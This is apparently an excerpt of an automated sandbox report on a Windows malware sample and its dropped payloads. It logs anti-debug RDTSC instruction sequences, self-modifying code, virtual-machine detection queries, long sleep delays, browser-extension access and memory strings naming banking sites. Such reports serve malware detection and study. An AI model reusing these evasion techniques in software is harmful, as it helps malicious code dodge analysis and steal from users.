0x0000006d pop edi 0x0000006e rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BAB836 second address: BAB83D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BAB882 second address: BAB89F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080FFFC63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BAB89F second address: BAB931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8080B8A781h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F8080B8A778h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 xor ecx, 59A6EEC4h 0x0000002b pushad 0x0000002c mov ebx, 7A619ED5h 0x00000031 jmp 00007F8080B8A77Bh 0x00000036 popad 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007F8080B8A778h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 0000001Ch 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 add dword ptr [ebp+122D212Bh], ebx 0x00000059 call 00007F8080B8A779h 0x0000005e push eax 0x0000005f push edx 0x00000060 push ecx 0x00000061 jne 00007F8080B8A776h 0x00000067 pop ecx 0x00000068 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BAB931 second address: BAB938 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BAB938 second address: BAB961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F8080B8A788h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BAB961 second address: BAB965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BAB965 second address: BAB9F3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8080B8A776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov eax, dword ptr [eax] 0x0000000d jl 00007F8080B8A77Ah 0x00000013 push eax 0x00000014 pushad 0x00000015 popad 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b jne 00007F8080B8A79Bh 0x00000021 pop eax 0x00000022 mov dword ptr [ebp+122D1DF7h], eax 0x00000028 push 00000003h 0x0000002a mov edi, dword ptr [ebp+122D1884h] 0x00000030 mov dword ptr [ebp+122D200Dh], eax 0x00000036 push 00000000h 0x00000038 sub dword ptr [ebp+122D1D90h], ecx 0x0000003e push 00000003h 0x00000040 mov esi, dword ptr [ebp+122D2A37h] 0x00000046 call 00007F8080B8A779h 0x0000004b pushad 0x0000004c pushad 0x0000004d jmp 00007F8080B8A77Dh 0x00000052 jc 00007F8080B8A776h 0x00000058 popad 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BAB9F3 second address: BAB9F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BAB9F7 second address: BABA03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BABA03 second address: BABA20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8080FFFC5Ah 0x00000009 popad 0x0000000a pop ebx 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jnc 00007F8080FFFC5Eh 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BABA20 second address: BABA5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov eax, dword ptr [eax] 0x00000007 jmp 00007F8080B8A782h 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jo 00007F8080B8A799h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F8080B8A787h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BABA5C second address: BABA83 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8080FFFC56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b add dword ptr [ebp+122D1C41h], edi 0x00000011 lea ebx, dword ptr [ebp+124505A5h] 0x00000017 mov edx, 45F2D593h 0x0000001c mov dword ptr [ebp+122D20DCh], ecx 0x00000022 push eax 0x00000023 pushad 0x00000024 push ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BABAF0 second address: BABAFE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8080B8A776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BABAFE second address: BABB02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	RDTSC instruction interceptor: First address: BABB02 second address: BABBD0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8080B8A776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c js 00007F8080B8A789h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F8080B8A778h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d call 00007F8080B8A784h 0x00000032 pop esi 0x00000033 push 00000000h 0x00000035 adc cx, 6B18h 0x0000003a mov dword ptr [ebp+122D212Bh], eax 0x00000040 call 00007F8080B8A779h 0x00000045 push edi 0x00000046 jmp 00007F8080B8A781h 0x0000004b pop edi 0x0000004c push eax 0x0000004d jmp 00007F8080B8A77Fh 0x00000052 mov eax, dword ptr [esp+04h] 0x00000056 jmp 00007F8080B8A789h 0x0000005b mov eax, dword ptr [eax] 0x0000005d jmp 00007F8080B8A781h 0x00000062 mov dword ptr [esp+04h], eax 0x00000066 pushad 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a popad 0x0000006b rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Special instruction interceptor: First address: 11C16E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Special instruction interceptor: First address: 2E5864 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Special instruction interceptor: First address: 2C754B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	Special instruction interceptor: First address: 341FA2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Special instruction interceptor: First address: A2C16E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Special instruction interceptor: First address: BF5864 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Special instruction interceptor: First address: BD754B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Special instruction interceptor: First address: C51FA2 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Memory allocated: 2C20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Memory allocated: 2E30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Memory allocated: 4E30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Memory allocated: 29E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Memory allocated: 2B90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Memory allocated: 4B90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Memory allocated: 1660000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Memory allocated: 33C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Memory allocated: 19E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Memory allocated: 5990000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Memory allocated: 6990000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Memory allocated: 6AC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Memory allocated: 7AC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Memory allocated: 1640000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Memory allocated: 3210000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Memory allocated: 5210000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Memory allocated: CF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Memory allocated: 1A6D0000 memory reserve \| memory write watch
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Memory allocated: 5700000 memory reserve \| memory write watch
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Memory allocated: 5A70000 memory reserve \| memory write watch
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Memory allocated: 59B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Memory allocated: 5970000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Memory allocated: 5970000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Memory allocated: 7970000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe

Code function: 0_2_05030CF0 rdtsc

0_2_05030CF0

Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window / User API: threadDelayed 1133	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window / User API: threadDelayed 463	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window / User API: threadDelayed 1020	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Window / User API: threadDelayed 1070
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Window / User API: threadDelayed 5170
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Window / User API: threadDelayed 9655
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Window / User API: threadDelayed 4642
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Window / User API: threadDelayed 8403

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 9.8 %

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 5580	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 5712	Thread sleep count: 1133 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 5712	Thread sleep time: -2267133s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 4424	Thread sleep count: 463 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 4424	Thread sleep time: -13890000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 6972	Thread sleep count: 1020 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 6972	Thread sleep time: -2041020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe TID: 7056	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe TID: 5060	Thread sleep time: -17524406870024063s >= -30000s
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe TID: 344	Thread sleep count: 1070 > 30
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe TID: 344	Thread sleep count: 5170 > 30
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe TID: 7140	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6716	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4952	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5516	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe TID: 7452	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe TID: 7688	Thread sleep count: 9655 > 30
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe TID: 7688	Thread sleep time: -289650000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe TID: 7724	Thread sleep time: -360000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe TID: 5884	Thread sleep time: -16602069666338586s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe TID: 6392	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe TID: 1172	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe TID: 3848	Thread sleep count: 220 > 30
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe TID: 3848	Thread sleep time: -2200000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe TID: 6704	Thread sleep time: -240000s >= -30000s
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe TID: 5988	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe TID: 7016	Thread sleep time: -41505174165846465s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe TID: 7452	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe TID: 7452	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00ABF79D FindFirstFileExW,	4_2_00ABF79D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041B6EA FindFirstFileExW,	5_2_0041B6EA
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Code function: 18_2_6C394E75 FindFirstFileExW,	18_2_6C394E75

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000240001\newstart.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe	Thread delayed: delay time: 60000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: espartu.exe, 00000021.00000002.4375632738.0000000000BBC000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: SbieDll.dllzoopoimmwwgyfchdhjubqggfxglcttjmdoptvjvvxyfgytdolchycbyhqmroottsvmtoolsd.dllcmdvrt32.dllHarry JohnsonAdministrator\|
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Hkbsse.exe, 00000017.00000002.4452507884.0000000000981000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWa
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.8.dr	Binary or memory string: vmci.sys
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Z73fDV6g4L.exe, 00000009.00000002.2110715381.0000000002F60000.00000004.00000800.00020000.00000000.sdmp, see.exe, 0000001C.00000002.3876408152.00000000027FD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000025.00000002.4024278753.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe
Source: Amcache.hve.8.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.8.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Hkbsse.exe, 00000017.00000002.4452507884.000000000093C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP[
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.8.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: axplong.exe, axplong.exe, 00000003.00000002.2077599379.0000000000BAF000.00000040.00000001.01000000.00000007.sdmp, FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000002.4135928351.00000000013FF000.00000040.00000001.01000000.0000001F.sdmp, svchost.exe, 0000002A.00000002.4454387581.000000000064F000.00000040.00000001.01000000.00000020.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: espartu.exe, 00000020.00000002.3903534638.0000000000D6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmtoolsd.dllM
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual USB Mouse
Source: newstart.exe, 00000019.00000002.3947980526.0000000004393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: ZharkBOT.exe, 0000001D.00000002.3903897986.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ECVMWar&Prod_VMware_SATA_CD00#4&
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Amcache.hve.8.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: newstart.exe, 00000019.00000002.3947980526.00000000042B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: espartu.exe, 00000022.00000002.4454469033.0000000001157000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`N
